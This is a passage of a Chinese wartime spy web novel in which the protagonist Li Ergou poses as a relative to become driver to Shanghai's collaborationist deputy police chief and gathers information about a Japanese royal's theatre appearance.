李二狗和徐青霞分别之后,他辗转打听到张金荣的住处。 也许在上海警察局副局长家里可以打听到竹田宫的消息。 同时他心里一直惦记着宋若楠,这个女人身上有一种魔力,总是让你时不时地想起她。 张金荣的住所是一栋独门独院的三层小洋楼,巴洛克风格,上海沦陷前是上海市长的公馆。张金荣搬进来之后,在周围筑起高墙、架设电网,从远处看,就像一座监狱,根本看不到院子里面的情景。 两扇黑色的大铁门紧闭着,门口有两个警察正在荷枪实弹地站岗。 李二狗判断,不仅门外有警察站岗,院子里面肯定还有不少警察日夜巡逻。 当了汉奸的人,心里总会有些发虚。 李二狗刚一靠近大门,两个警察便立刻警惕起来。 其中一个警察端起枪指向李二狗,呵斥道:“干什么的?这里不许靠近!赶紧走开!” 李二狗见惯了这些狗仗人势的警察,根本不怕他们。 “老总,这里是张局长的家吗?我是他家亲戚。” 听到是张局长的亲戚,警察虽不知真假,但也不敢怠慢。 “张局长不在家,你是他什么亲戚?” 此时,李二狗已经走近大门,他立马从兜里掏出一盒哈德门。 “二位老总辛苦了,抽支烟解解乏。” 李二狗抽出两支烟递给两个警察,警察见是哈德门,便伸手接过来,他们平时也抽不起这么好的烟。 李二狗划了根火柴给他们点燃,然后把这盒烟塞给了其中一个警察。 “老总您别嫌弃,留着抽吧!” 警察根本没跟李二狗客气,直接接过烟装进了自己兜里。 抽了人家的香烟,态度自然便和善了许多。 警察边抽烟边问道:“你是张局长家什么亲戚?也是他老家来的?” 李二狗脸上保持着乡下人没见过世面的笑容。 “我不是张局长的亲戚!” 警察又立刻警惕起来。 “你刚才不说自己是张局长的亲戚吗?难道你小子骗我们吗?” “老总您先别急嘛,听我把话说完,我是张老爷三姨太家的亲戚,听说她跟着张老爷来上海投奔张局长了。” 警察都知道张老爷在来上海的轮船上被日本人扔进了大海,也都知道他三姨太长得美若天仙。 “奥,三姨太的亲戚,”警察意味深长地看着李二狗,“你是三姨太的什么亲戚?” “我是她表哥,大姨家的表哥,”李二狗突然表情变得凝重起来,“哎,老家正在打仗,实在活不下去了,只好来投奔我表妹,希望外甥能给我介绍一个糊口的工作。” “外甥……哈哈哈……” 两个警察忍不住笑了起来,如果李二狗是三姨太的表哥,按照辈分,张金荣确实是李二狗的外甥。 “两位老总,麻烦给我表妹通传一声,就说她乡下表哥李二狗来投奔她了。” 虽说李二狗身份尴尬,但毕竟也算是张金荣家的实在亲戚,两名警察并不敢有所怠慢,他们也不知道三姨太和这个表哥的关系究竟什么样。 “那你在这里等着,我进去给禀明一声。” 警察进入院里,找到管家王海丰。 “王管家,外边有个人自称李二狗,说是三姨太的乡下表哥,特来投奔。” “乡下表哥?” 王海丰是一个精明的中年人,头发稀疏,嘴角留着一撮小胡子,一看就不是良善之辈。 三姨太刚来上海,没想到她亲戚便找上门来了,怎么看都像是预谋已久,这个女人可不像她表面看起来那么单纯。 但王海丰知道,张金荣对宋若楠的美貌垂涎三尺,如今张月笙已死,张金荣还是把宋若楠接到家里住,心里肯定藏着不可告人的小算盘。 他不敢得罪宋若楠。 “我去和三姨太说一声。” 三姨太这个称呼,在这个家里显得不伦不类,毕竟张金荣才是一家之主,不知道的还以为是张金荣的三姨太。 但除了称呼三姨太,确实也没有合适的称呼。 虽然宋若楠在名义上是张金荣的长辈,但她比张金荣还小十几岁,称呼她老太太肯定更不合适。 王海丰来到客厅,并没有见到三姨太人,便上楼来到她的卧室门口。 “三姨太,外边有人找你。” 宋若楠正躺在床上想李二狗,一听到有人找她,立马想到是李二狗。 她兴奋地从床上跳起来,问道:“谁找我?” “说是你表哥。” “表哥?” 宋若楠根本没有表哥,哪里突然冒出来一个表哥?难道是骗子?哪个胆大包天的骗子敢来警察局副局长家里行骗?那不是找死吗? 宋若楠越想越觉得奇怪,便问道:“他说自己名字了吗?” “说是叫李二狗。” 听到李二狗的名字,宋若楠欣喜若狂,没想到他真是一个信守承诺的好男人。 “他是我表哥,快把他带进来。” 宋若楠说完便开始对镜梳花黄,好好为自己打扮了一番。 王海丰来到楼下,对一直等待的警察说道:“去把三姨太的表哥请进来。” 一个“请”字立马令李二狗的地位得到了大幅度提升。 “好好,我马上去。” 警察一溜小跑出了院子。 再次见到李二狗,他脸上已堆起了笑容。 “李先生,快进去吧,三姨太在里面等你。” “谢谢了,兄弟。” 一声“兄弟”令警察激动不已。 “快进去吧,别让三姨太等急了。” 李二狗大摇大摆地从大门进入,果然里面还有不少警察站岗巡逻,两条警犬狗视眈眈地瞅着他,大舌头上流着哈喇子。 “汪汪汪……” 它们朝着李二狗狂吠,李二狗从小见惯了野狗,根本不怕这些畜生。 畜生毕竟是畜生,连三姨太的表哥都咬,真是狗仗人势的东西! 此时,宋若楠早已在楼下大厅门口迎接,她见到李二狗,眼里充满了喜悦和激动之情。 “表妹,我总算找到你了!”李二狗担心宋若楠说错话,抢先上前说道,并给她使了个眼神。 宋若楠虽然胸大,但并不是一个无脑的女人。 第678章 这是你大舅 宋若楠表现出一副惊喜又疑惑的样子。 “表哥,这兵荒马乱的,你怎么来上海了?” 李二狗一边抹眼泪一边说道:“表妹啊,我是小孩没娘,说来话长啊,哎!在老家实在活不下去了!我妹夫呢?怎么没出来迎接我?” 宋若楠努力憋住笑,脸上却是一副悲痛的表情。 “你妹夫他……他……,哎,我也是小孩没娘,说来话长啊。” “表妹,你看你都瘦了,是不是妹夫欺负你了?” 宋若楠差点就要笑出声来,但王海丰就在不远处盯着他们,她必须保持悲痛的样子。 “表哥,你这一路辛苦了,我们还是进屋再说吧。” 宋若楠领着李二狗直接上楼进了自己的卧室,两人瞬间便搂抱在一起。 “二狗,人家都想死你了,还以为你不来接我了呢。” “若楠,我也想你,我这不来了嘛。” 宋若楠吻住李二狗的嘴,李二狗搂住宋若楠的腰。 你脱我一件,我脱你一件,两人很快便脱了个精光,然后上床进了被窝…… 事后,宋若楠躺在李二狗怀里,手指抚摸着他健硕的胸肌,眼里脸上全是性福。 “二狗,你带我走吧,我不想待在这里。” 李二狗问道:“你确定跟我走吗?外边兵荒马乱的,你待在这里才安全。” 宋若楠说道:“可我离不开你啊,而且那个张金荣,总是用一副色眯眯的眼神看着我,讨厌死了!” “他有太太吗?”李二狗突然问道。 “有,不过她出去打牌了,没在家。”宋若楠以为李二狗担心她在家不方便,便主动解释道。 李二狗笑道:“他有太太那就好办了。” 宋若楠不解地问道:“好办是什么意思?” 李二狗怕宋若楠误会,赶忙解释道:“张月笙刚死,他家里又有太太,所以他应该不敢对你乱来,你暂时不用担心。” “二狗,你不愿意带我走吗?”宋若楠委屈地问道。 “我当然愿意,只是现在我这里出了一点状况,你还得再等一等。” “什么状况?” “我现在根本进不了租界,正在想办法。” “你不是在租界有房子吗?为什么不让你进?”宋若楠以为李二狗在敷衍自己,便紧追不舍地问道。 “我在租界是有房子不假,可地契现在并不在我手里,而且现在进出租界需要特别通行证,可我没有!不过我正在想办法办理,只是不知道什么时候才能办出来,哎。” 宋若楠这才相信李二狗的话,他确实没有骗自己。 “这好办,我让他想办法给你办一张通行证便是。” 上海公共租界的通行证虽然需要公共租界工部局和日本宪兵司令部共同盖章,但上海警察局副局长想办一张通行证应该问题不大。 “那太好了,谢谢你,若楠。” “你和我还客气什么?只是……” 宋若楠又犹豫了,她担心张金荣会趁机向她提出无耻的条件。 但为李二狗办理通行证,以便让他尽快把自己接出去,值得她试一试。 “只是什么?” “没什么,今天晚上他回来之后我就去找他。” “若楠,有件事我想请你帮忙。” “咱们之间还用这么客气吗?你说就是,我一定帮。” 李二狗刚要说又犹豫了,他内心并不想把宋若楠牵扯进来,可目前确实也没有别的更好的办法。 “你现在能不能带我去警察局找张金荣,我想快点把通行证办出来。” 其实宋若楠和张金荣并不熟悉,但为了李二狗,她没有丝毫犹豫便同意了。 “好,咱们现在就去。” 两人穿好衣服,来到一楼大厅。 王海丰正在院子里遛狗,他一直观察着楼上的动静。 看宋若楠一张俏脸红扑扑的,他好像猜到了什么。 但宁得罪小人,不能得罪女人,尤其是漂亮女人,也许有一天宋若楠就成为了这个家的女主人。 他只能装傻! “王管家,马上派车,我要去趟警察局。” “三姨太,你去警察局干什么?” “去找金荣办点事,赶紧的吧!” 王海丰不敢怠慢,赶紧吩咐人把车开了过来。 李二狗和宋若楠先后上了车。 宋若楠对司机说道:“去上海警察局,开快点。” 汽车“嘀”的一声,平稳而快速地驶出了院子。 由于司机在场,路上李二狗和宋若楠并没有说话,也没有表现出亲昵的样子。 刚才床上的一番鏖战,两人都有些精力疲惫。 在车上小憩了一会儿,车子很快便到达上海警察局。 门口站岗的警察认识张金荣的汽车,他们根本没有阻拦,车子直接开进了警察局。 车子停稳后,宋若楠问司机道:“金荣在哪个办公室,你知道吗?” 司机指了指旁边的大楼,说道:“三姨太,张局长就在这栋楼的三楼,最东面的那间办公室。” 李二狗和宋若楠便下了车,直接上了楼。 过往的警察纷纷侧目,他们惊讶于宋若楠的美貌。 来到三楼最东面的那间办公室,宋若楠敲了敲门,里面传来一个慵懒的声音:进来! 宋若楠推门而入,张金荣正坐在一张大皮椅上犯愁,他看到宋若楠不免吃了一惊,尤其看到她身后还跟着一个英俊的男人。 “你怎么来了?” 张金荣一向不称呼宋若楠,他不知道怎么称呼她。 “金荣啊,我给你介绍一下,这是你大舅,我大姨家的表哥李二狗。” 李二狗赶紧上前伸出手,热情地说道:“张局长,你好,我是李二狗。” 他可不敢在张金荣面前自称大舅,毕竟他有求于人。 张金荣突然冒出这么一个年轻的舅舅,一时不免有些尴尬,但他毕竟是见过世面之人,还是伸出手和李二狗握了握。 “请坐!” “金荣啊,我表哥想去租界,你能不能给他办一张通行证?” 张金荣打量了一下李二狗,问道:“去租界干什么?现在的通行证可不好办啊。” “知道不好办,所以才找你办,金荣,我表哥不是外人,这个忙你可不能不帮啊。” 第679章 李二狗当警察 张金荣垂涎于宋若楠的美貌已久,他一直想找个合适的机会与她亲近,没想到机会这么快就到来了,这个忙他一定得帮。 “这段时间,公共租界一下子涌进了几十万人,现在想进去可没有那么容易啊,你去那里干什么?现在租界里面挤得和菜市场似的,连个插脚的地方都没有。” 李二狗笑道:“实不相瞒,张局长,我在公共租界里面有栋别墅,我父亲目前就住在那里。” 宋若楠赶紧说道:“金荣啊,你赶紧给办吧,我也想去租界里面看看我大姨父,可惜我大姨死得早,我都好多年没见到姨父他老人家了。” 说着说着她竟抹起了眼泪,那梨花带雨的样子,谁见谁怜。 办理一张通行证对于张金荣这个上海警察局副局长来说,并不是什么难事,更何况李二狗还在公共租界有房子。 只是这个李二狗看上去是一个非常精明之人,宋若楠刚到上海没几天,他就主动找上门,怎么看都有点蓄谋已久的感觉。 他担心他们两人之间有什么不可告人的秘密,别自己忙活半天,反而为他人做嫁衣。 “金荣啊,我表哥可是咱家实在亲戚,你难道还有什么顾虑吗?你要不办,我可不高兴!哼!” 宋若楠一个撒娇,张金荣就是有再大的顾虑,也只能抛诸脑后。 “怎么会不帮呢?当然得帮,我马上就安排人去办。” 李二狗赶紧道谢道:“谢谢张局长,谢谢张局长。” 宋若楠破涕为笑,张金荣心情跟着也舒畅起来。 “大家都是自家人,不必这么客气。” 李二狗顺杆爬道:“张局长,既然咱们都是一家人,那我有话就直说了。” 宋若楠没想到李二狗还有话和张金荣说,内心不免有些紧张,不知道他要说什么。 “有话但讲无妨。” “我老家那边正在打仗,乱哄哄的,这次我来到上海就不打算回去了,我想在警察局谋份差事,还请张局长帮帮忙,以前我在老家搞过民团,有一定的经验。” 李二狗知道,淞沪会战期间,有大批的警察被派上战场,他们死的死,伤的伤、逃的逃,在日本人占领上海之后,留下来当汉奸的警察更是少之又少。 目前警察局急缺人手,尤其是有经验的人手,他相信张金荣不会拒绝自己的这个要求。 张金荣也没有料到李二狗竟然想当汉奸警察,和自己还真是臭味相投。 “你想当警察?当警察可是很危险的!” 李二狗说道:“不瞒张局长,我从小的理想就是当一名警察,锄强扶弱、除暴安良,我不怕危险!” 虽然李二狗事先没有和宋若楠说起这件事,但她知道,李二狗想当警察一定有他的道理,她必须支持。 “金荣啊,既然你大舅想当警察,那你就让他当吧,你身边应该多些自己人,这样办起事来也方便不是?” 确实如李二狗所料,日本人占领上海之后,他们大批的军队转向苏州、南京战场,目前上海警察局急缺人手来维持上海的社会治安。 “那好吧,不过我丑话可说在前头,咱们虽然是亲戚,但你也要从基层一步步做起,我这个人,你可能还不了解,其实我是一个非常讲原则的人!” 李二狗说道:“张局长,我愿意从基层做起,只是我还有一个小小的请求,不知道当讲不当讲?” 宋若楠不等张金荣开口,便抢先说道:“表哥,金荣是你外甥,有什么要求你就说嘛,难道他还能拒绝你不成?你说是吧?金荣。” 张金荣只好说道:“只要是不违反原则的事情,能帮的我一定会帮。” 李二狗没想到宋若楠配合的这么好,其实他也是临时起意想当警察。 “张局长,你放心,我一定不会让你为难的。我虽然在乡下搞过民团,但毕竟和警察局没法相比,这里又是大上海,所以,我想跟在你身边多学点东西。” “表哥,金荣又不是外人,你这点要求他怎么会拒绝嘛,不过我可要提醒你啊,金荣工作很忙的,你要跟在他身边,可要做好吃苦的准备哦。” “我能吃苦,一定不会辜负张局长的厚望。” 宋若楠和李二狗一唱一和,弄得张金荣即使不想同意也只能同意。 他突然问道:“你会开车吗?” 张金荣原来的司机不愿意当汉奸,在上海沦陷之后就偷偷离开了上海,他现在的司机是从市政府借来的,用着也不顺手,早有更换司机之意。 但开车是一门复杂的手艺活,没有几个人会,他一直没有找到合适的人选。 “会!” 张金荣不免吃了一惊,没想到乡下来的李二狗竟然会开汽车,这实在是意外之喜。 “那你就先给我开一段时间车吧,等以后有了合适的机会,再去其他岗位,你愿意吗?” “我愿意,能为张局长开车是我的荣幸。” “那你什么时候能上班?” 李二狗想都没想便说道:“我现在就可以上班。” 张金荣没想到李二狗如此敬业,但他不是一个不通情理的领导。 “我看这样吧,你先上班,等通行证办下来,我再给你放一天假,去租界看看你的亲人。” “那太谢谢张局长,我们全家都感谢张局长。” 宋若楠故意说道:“表哥,我看在通行证办下来之前,你就先住我家里吧。” 张金荣一愣,随即说道:“我一会儿再去催一催,争取今天下班之前办出来,我能理解一个人思念亲人的那种心情。” “太谢谢张局长了,谢谢。”李二狗竟真的有点感动。 张金荣看了看手表,说道:“我还有个会,你先找我的秘书王富贵对接一下,他就在对面的办公室。” 李二狗忍不住在心里暗骂道,狗日的竟和我爹重名,这不占我便宜嘛? 嘴上却说道:“好的,张局长,我一定向王秘书虚心请教。” 张金荣看宋若楠没有离开的意思,便说道:“我安排人送你回去吧?” 宋若楠还有话要问李二狗,她并不想马上离开。 第680章 开开洋荤 “金荣,你先去忙吧,家里司机在楼下等着的,我一会儿自己回去就行,我还是不放心表哥,我再嘱咐他几句,可不能让他给你丢人。” 宋若楠不愿走,张金荣又的确在市政府有个会,他只好先行离开。 张金荣刚一离开,宋若楠便问道:“二狗,你要当警察,怎么不提前告诉我一声?我太意外了!” 当警察确实是李二狗临时起意,为了打探到竹田宫的消息,李二狗不得不出此下策。 据他分析,竹田宫的近身保护肯定由日本宪兵负责,但外围的警戒和保卫工作肯定还得由上海警察局负责,他们比日本人更熟悉上海的地形和环境。 李二狗猜想的没错,张金荣这次去市政府开会就是研究竹田宫在上海期间的保卫工作。 但刺杀竹田宫这件事过于重大,又十分危险,李二狗不可能告诉宋若楠。 “我一来到警察局就被这里的气势震撼了,当警察确实是我小时候的梦想。若楠,你不会生我气吧?” 宋若楠没有生李二狗的气,但她确实不愿意李二狗当警察,因为他当了警察,就无法把自己接走了,她可不想一直和张金荣生活在同一个屋檐下。 原本她以为李二狗当警察是有其他目的,没想到他却是为了实现自己小时候的梦想。 “二狗,这个警察可不好当啊,是汉奸你知道吗?要被人戳脊梁骨的!” 想到自己当初在轮船上被日本浪人欺凌,宋若楠就气的浑身发抖。 当初那个挺身而出,为了救自己而杀死一个日本浪人的男人,怎么这会要主动当汉奸呢? 宋若楠不是一个胸大无脑的女人,她看着李二狗脸不红心不跳地自愿当汉奸,突然意识到,这个男人这样做一定有他的目的。 “逢此乱世,能活下去实属不易,你放心,我只是给张金荣开车,绝不会做欺负老百姓的事。” 宋若楠扑入李二狗的怀抱,柔声道:“二狗,你什么时候把我接走啊?我不想一直住在那里。” “等我能进入租界之后,一定想办法把你接走,若楠,你要相信我!” 有了李二狗的承诺,宋若楠这才放下心来。 她还年轻,心里想的全是爱情,张金荣的地位和金钱根本入不了她的眼。 “那我先回去了,你自己小心一点。” 李二狗推开房门,在众人的瞩目下把宋若楠送上了车。 接着李二狗又返回三楼,来到张金荣对面的那间办公室。 “请问王秘书在吗?” 刚刚李二狗和宋若楠进入张金荣办公室的时候,王富贵都看到了,但刚刚张金荣走的匆忙,并没有向王富贵交代李二狗的事情。 “我就是,你有什么事?” 李二狗热情地伸出手,说道:“王秘书,您好,我叫李二狗,是张副局长的司机,张副局长让我来向您报到。” 秘书和司机是领导最贴心的人,李二狗能当张金荣的司机,想来不是一般人。 “李先生,欢迎啊。” 王富贵保持着职业般的笑容,毕竟领导秘书比领导司机更有权势一些,他没必要对李二狗太客气。 “王秘书,你叫我二狗就可以,以后请您多关照。” “二狗,欢迎你加入。你也别叫我王秘书了,那样显得生分,就叫我富贵吧。” 李二狗的爹叫李富贵,他喊别人富贵,感觉别人是他爹一样。 “富贵兄弟,请多关照。” 王富贵问道:“二狗,刚才和你一起来的那个女人是谁?长得真他娘的漂亮,感觉比电影明星蝴蝶还要漂亮,我从未见过如此漂亮的女人。” “她是张副局长的三娘,也是我表妹。”说完,李二狗故作神秘地嘱咐道:“可别和别人说啊,我可不想让别人以为我是靠走后门进来的。” 王富贵对李二狗的态度立马变得热情起来,这可是领导的实在亲戚,他可得罪不起。 “二狗,以后咱们就是一家人,有事你尽管说话。” “谢谢富贵兄弟,今晚有空吗?我请你去酒吧喝酒。” 王富贵一脸愁容。 “二狗,以后你就明白了,咱们的时间都不是自己的,得看张副局长的时间安排,想来今晚应该是没空的,最近张副局长特别忙,每天都得到晚上九点钟以后才能下班,那时候都宵禁了。” 李二狗故意问道:“张副局长这么大的领导还这么忙?有些事还用自己亲自干吗?安排底下的人干就是。” “哎,在日本人手底下干活必须要谨小慎微,可能一个不小心就丢了自己的性命。” 李二狗故意表现出吃惊的表情。 “丢了性命?咱们可是警察啊,日本人都这么狠吗?” 王富贵赶紧说道:“嘘,你小点声,可别让日本人听到。你还不知道吧?咱们局长就是日本人,他在楼上办公,平时霸道得很!” 上海警察局局长是日本人,李二狗还是第一次听到,想来也不难理解,这么重要的部门,日本人不可能全部交给中国人。 “富贵兄弟,那就等你什么时间有空了我再请你。我知道在公共租界有家酒吧,里面的服务员都是人高马大的欧美女人,长的那叫带劲。” 王富贵听得哈喇子都流下来了,他这个人最大的特点就是好色,嗜女人为命。 “二狗,想不到你玩的还挺花花,哈哈,过两天一定带我去见识见识,尝尝洋女人到底什么味道。” “哈哈哈,”李二狗夸张地笑了,“那味道,谁用谁知道,哈哈哈。” 李二狗完全挠到王富贵的痒处,他看李二狗都亲切了许多。 “那咱们一言为定!” “一言为定!”李二狗眼珠子一转,又生一计,“富贵兄弟,说出来不怕你笑话,我刚到上海,进不了租界,现在没地方住,你能不能在局里给我安排一个落脚的地方?这样我也好随叫随到,千万不能耽误了张副局长的工作啊。” “这个好说,三楼就有宿舍,你先和我住一个房间。” “谢谢富贵兄弟,改日咱们一定去啊,开开洋荤,哈哈。” 第681章 好奇害死猫 李二狗一直等到六点半,张金荣还没有从市政府回来,他便和王富贵说了一声,离开了警察局。 张金荣的司机还没有退回市政府,李二狗在不在都是一样的。 他和孙佛海约好了今晚七点钟在咖啡馆见面,有些事情孙佛海不一定能办,但他背后的青帮却是一股不可忽视的力量,说不定什么时候就能派上用场。 来到咖啡馆,孙佛海已经在等他了。 “大哥,对不起,我来晚了。” “我也刚到,咱们边吃边说。” 孙佛海喝了一口咖啡,神情有些凝重。 “二狗啊,目前办理通行证太难了,公共租界的人不想让外边的人进来,日本人也不想让市民进入租界,审查得很严!” 李二狗早就做好了孙佛海办不了的思想准备。 张金荣已经答应给办,哪怕通行证再难办,应该也没有问题。 上海市警察局副局长,如果连这点事都办不了,他还是趁早回家抱孩子吧。 “大哥,别管能不能办成,你对我的这份情意我都记在心里了。” 孙佛海之前牛逼吹得震天响,结果却没有办成,他脸上也有些挂不住。 其实这也不怪他,日本人刚刚占领上海,他们根本不了解青帮,当然更不会给青帮面子。 其实通行证也不是不能办,只是要办的话得花钱,花很多钱。 这些钱当然不能由青帮出,得由李二狗出,孙佛海没好意思直接点明,但他相信李二狗的悟性。 “二狗,多给我点时间,我再想想办法。” 说完,他一脸期待地看着李二狗。 “大哥,有件事我没来得及和你说,我现在和你一样,也是警察了,给张副局长开车。” 孙佛海震惊的差点把刚刚喝到嘴里的咖啡喷出来。 “这是什么时候的事?张副局长?哪个张副局长?” “就是上海市警察局的副局长张金荣。” 孙佛海彻底惊呆了。 张金荣虽然只是上海警察局的副局长,但如今局长是日本人,其实也就是挂一个局长的名头,具体工作全由张金荣承担,他实际上就是一把手。 他没想到李二狗在如此短的时间内就攀上这么一棵大树,给张金荣当司机,那可是绝对心腹之人,连虹口警察局局长都得给他三分薄面。 “二狗,你不会是在唬大哥吧?你真的给张副局长当司机?” 李二狗微微一笑,说道:“大哥,这点小事我怎么会骗你的?是真的。” 孙佛海激动了。 “二狗,不,以后得叫李主任了,以后还得请你多多关照啊。” 李二狗故意板着脸说道:“什么狗屁李主任!大哥,咱们是兄弟,你说这话可就伤兄弟的心了,哪怕我做了上海警察局的局长,你还是我大哥。” 孙佛海情难自抑,他端起面前的咖啡,说道:“兄弟,你真是令大哥刮目相看啊,我敬你一杯!” 这时,他才意识到自己手里端的是咖啡。 “看我这脑子,连咖啡和酒都分不清了,我是真心为兄弟你高兴啊。” “大哥,只要感情有,喝什么都是酒,来,咱们干一杯。” “哈哈哈,好兄弟,大哥敬你。” “我敬大哥!” 两人仪式感十足地碰了一下杯,一饮而尽。 “兄弟,有张副局长给你撑腰,办张通行证那还不是手到擒来吗?” 李二狗为了不让孙佛海尴尬,故意说道:“等明天我和张副局长提一提,今天他一直在开会,我没好意思打扰他。” 孙佛海还沉浸在震惊中。 “兄弟,等以后有机会,还得麻烦你在张副局长面前多替我美言几句。” “大哥放心,你的事就是我的事,等找个合适的机会,我就和张副局长提一提你的事,怎么也得让大哥弄个虹口警察局副局长干干不是?” 当上副局长,相当于光宗耀祖,孙佛海怎能不兴奋。 “那一切就都拜托兄弟了。” 李二狗话锋一转,问道:“大哥,最近上海是不是来了一个日本的大人物?我看张副局长一直唉声叹气的,好像压力很大的样子。” 虽然在包间里,孙佛海还是压低声音说道:“确实来了一个大人物,听说还是日本的皇室成员,就住在我们辖区,我们局长也都快愁死了!就怕出事!” 李二狗故作疑惑地问道:“真不知道领导们都愁些什么?这么大的人物,肯定由日本宪兵保护。” 孙佛海以一副业内人士的口吻说道:“这个事兄弟你就有所不知了,日本宪兵通常只负责近身保护,外围的警戒和保卫工作还得由咱们警察局负责。现在上海这么乱,万一出点什么事,谁也负不起这个责任啊。” 李二狗不以为然地说道:“其实这事很简单,把那里全部围起来,不让外边的人进去就行了。” 孙佛海内心嘲笑李二狗太年轻不懂事,面上却不显。 “二狗兄弟,你有所不知啊。这个日本皇室成员这次之所以到上海,是为了彰显日本“大东亚共荣”的政策,必须体现出亲民的一面,所以他计划在上海安排了一场公开活动。” “在哪?”李二狗急忙问道。 孙佛海狐疑地看了李二狗一眼,不知道他为何对这件事这么感兴趣。 李二狗突然也意识到了这一点,急忙解释道:“长这么大,我还没有见过皇室成员,真想见识见识他们和咱们有什么不一样。” “哈哈,看不出兄弟还这么好奇,其实他们和咱们一样,也是两只眼睛一个鼻子,有什么好看的?日本人普遍长得矮,和你没法比,哈哈!” “大哥,你又逗我,哈哈!不过我还是想见识见识。” “具体什么活动我也不知道,张副局长肯定知道,你可以问问他。” 李二狗笑道:“这我哪敢啊?还是算了吧,好奇害死猫,我还是不凑这个热闹了。” “就是,日本人有什么好看的?其实我很讨厌那些日本鬼子,明明长得又矮又矬,还一副俯瞰众生的样子,真他娘的狗眼看人低!” 第682章 上海大剧院 和孙佛海分别之后,李二狗回到上海警察局。 张金荣开会还没有回来,王富贵坐在办公室里,还没下班。 “富贵,都这个点了,你怎么还没下班?” 王富贵一张苦哈哈的脸。 “领导还没回来,我怎么敢提前走啊?” 李二狗故作惊讶地问道:“张副局长还没有回来?他会不会开完会直接回家了?” “不会,即使他直接回家,他的专车也得放回局里。” 李二狗拍了拍他的肩膀,赞许道:“那你实在是太辛苦了。” “哎,命苦不能怨政府啊,对了,你的通行证办出来了,我放你办公桌上了。” 李二狗看向自己的办公桌,果然桌面上放着一个证件。 “太谢谢了,我终于可以回家了。” 王富贵抬手看了看手表,说道:“还有二十分钟就到宵禁时间了,今晚你来不及回家了。” 李二狗玩笑道:“好久没见媳妇,都不知道女人什么味了,哈哈。” 一提女人,王富贵顿时来了精神。 “二狗,通行证也办下来,改天别忘了带我去租界酒吧尝尝大洋马的味道,哈哈。” “这个当然,随时可以去。” “那也得有时间才行啊,哎,我的命好苦啊。” 李二狗心里一阵暗笑,转而问道:“那你待会儿怎么回家?” 王富贵又叹了一口气。 “看这样子,我也不能回家了,今晚住局里吧,陪你睡。” 王富贵的玩笑话令李二狗心里凉了半截,他本来计划今天晚上去局长和副局长的办公室探探情况,没想到王富贵晚上住在这里。 两人住在一个房间,自己要是晚上出去,很容易暴露。 “待会我开张副局长的专车把你送回家,警察局的专车肯定不受日本人宵禁管制吧?” 王富贵显得很高兴,转而想到自己媳妇这两天正好来月信,回去也是独守空床,实在没什么意思。 “算了吧,不折腾了,明天一早还得赶回局里。” 王富贵决定不回家,李二狗也不好硬劝,否则很容易引起他的怀疑。 “那我出去买点酒菜,晚上咱哥俩喝一杯。” “那就辛苦二狗兄弟了。” 李二狗买好酒菜,在房间里摆好,快十点钟的时候,王富贵才神情疲惫地回到房间。 “张副局长走了?” “走了,哎,又被他劈头盖脸骂了一顿。” “怎么了?” “他被日本人骂,回来就拿我出气呗,我早就习惯了。” 看着王富贵满腹牢骚,李二狗立马来了兴致。 “来,咱们边喝边聊,今晚一醉方休,不想那些烦心事。” 李二狗斟满了两杯酒,王富贵不等李二狗说话,端起酒杯一饮而尽,果然是满腹愁肠,急于借酒消愁。 李二狗没有喝,拿起酒瓶又给王富贵斟满一杯。 “富贵兄弟,咱们一见如故,我敬你一杯。” 王富贵没有客气,端起酒杯和李二狗碰了一下,接着又是一饮而尽。 “吃点菜,慢慢喝。” 王富贵哪有心思吃菜,他自己拿过酒瓶,先给李二狗的酒杯斟满,又把自己面前的酒杯斟满。 “二狗啊,咱这工作外人看着挺风光,其实根本就不是人干的活,哎,来,干了!” 王富贵又一饮而尽。 三杯酒下肚,他已满面红光,眼神有些眯瞪。 “富贵兄弟,慢点喝,我这酒量有限,都快喝醉了。” 王富贵再次拿起酒瓶,给两人倒满了酒。 “喝酒不就是为了喝醉吗?喝醉了就不用想这些烦心事了,来,咱哥俩接着喝。” 李二狗豪气地说道:“好,那我今晚就舍命陪君子了,喝他个一醉方休,干了!谁不干谁是孬种!” 两人喝完之后,李二狗又赶紧开了一瓶酒,把两人面前的杯子斟满。 “我看张副局长一副心事重重的样子,到底出什么事了?” 王富贵小眼眯瞪着,用手抓了几粒花生米塞到嘴里,用力地嚼了嚼。 “最近上海来了一个日本皇室的大官,他们非要在上海大剧院搞一场文艺演出,还要邀请上海各界名流参加,那个日本大官还要发表演说,美其名曰共建大东亚新秩序,其实就是他娘的臭显摆。” 上海大剧院,李二狗在心里默默记住了这个地方。 他故意问道:“那张副局长愁什么?让他们举行就是了。” 王富贵又塞了几粒花生米到嘴里,然后才慢悠悠地说道:“兄弟,你知道现在上海隐藏着多少反日势力吗?你知道有多少人想要日本人的命吗?如果日本的这个皇室成员在上海出了事,你知道有多少人会因此掉脑袋吗?首当其冲的就是他张金荣。” 李二狗感叹道:“怪不得张副局长如此紧张,原来是掉脑袋的事啊,但话又说回来了,他要出了事,咱哥俩以后的日子也不好过啊。” “谁说不是呢?我这不也是提心吊胆吗?”王富贵端着酒杯,“来,再干一杯!” 李二狗端起酒杯,和他碰了一下,两人又一饮而尽。 “文艺演出什么时间开始?” “后天。” “后天?这么快?” “听张副局长说,今天开会刚刚确定的时间,其实日本人也怕死,他也不敢在上海长待。” “快点举行也好,结束了才能安心。” “谁说不是呢?可邀请那么多人参加,安保问题实在是棘手的很呐!” “只要入场实施严格的安检措施,应该问题不大。” “刚刚张副局长亲自给虹口警察局杨局长打了电话,让他明天组织人手对上海大剧院实行地毯式排查,连一根针都不许有!” 这种安排都是一些常规的安保措施,李二狗并不感到惊奇。 李二狗再次举起酒杯,说道:“算了,这些事也不是咱们哥俩该管的事,来,咱们继续喝酒。” “喝!” 两个人一来二去,王富贵终于因为酒力不撑被喝趴在桌底。 “富贵,富贵……” 李二狗连喊了他几声,都没有回应。 李二狗把王富贵拖到床上,自己准备出去看看。 第683章 竹田宫的喜好 此时已是深夜,楼道里安静极了。 李二狗蹑手蹑脚地来到张金荣办公室门口,下意识地看了看楼道左右两侧,确定没人之后才掏出提前准备好的一根小铁丝。 他熟练地插入锁孔,轻轻地转动了几下,门锁便打开了。 对于李二狗来说,他能打开这个世界上百分之九十以上的锁。 推门进入办公室之后,他轻轻地把房门关闭,掏出提前准备好的一个小手电,径直来到张金荣办公桌前。 他先是看了看桌上的几份文件,并没有发现什么有价值的情报,又低头看向办公桌下面的抽屉,其中有一个抽屉还上着锁。 人就是这样,总以为把重要的东西锁起来会更安全一些,其实恰恰相反,你锁起来等于告诉别人,这里面锁着的是重要的东西。 打开一把锁,对于大部分人来说,并不是什么困难的事情。 即使不能做到像李二狗这样不留下任何痕迹,但大多数锁根本撑不住一榔头。 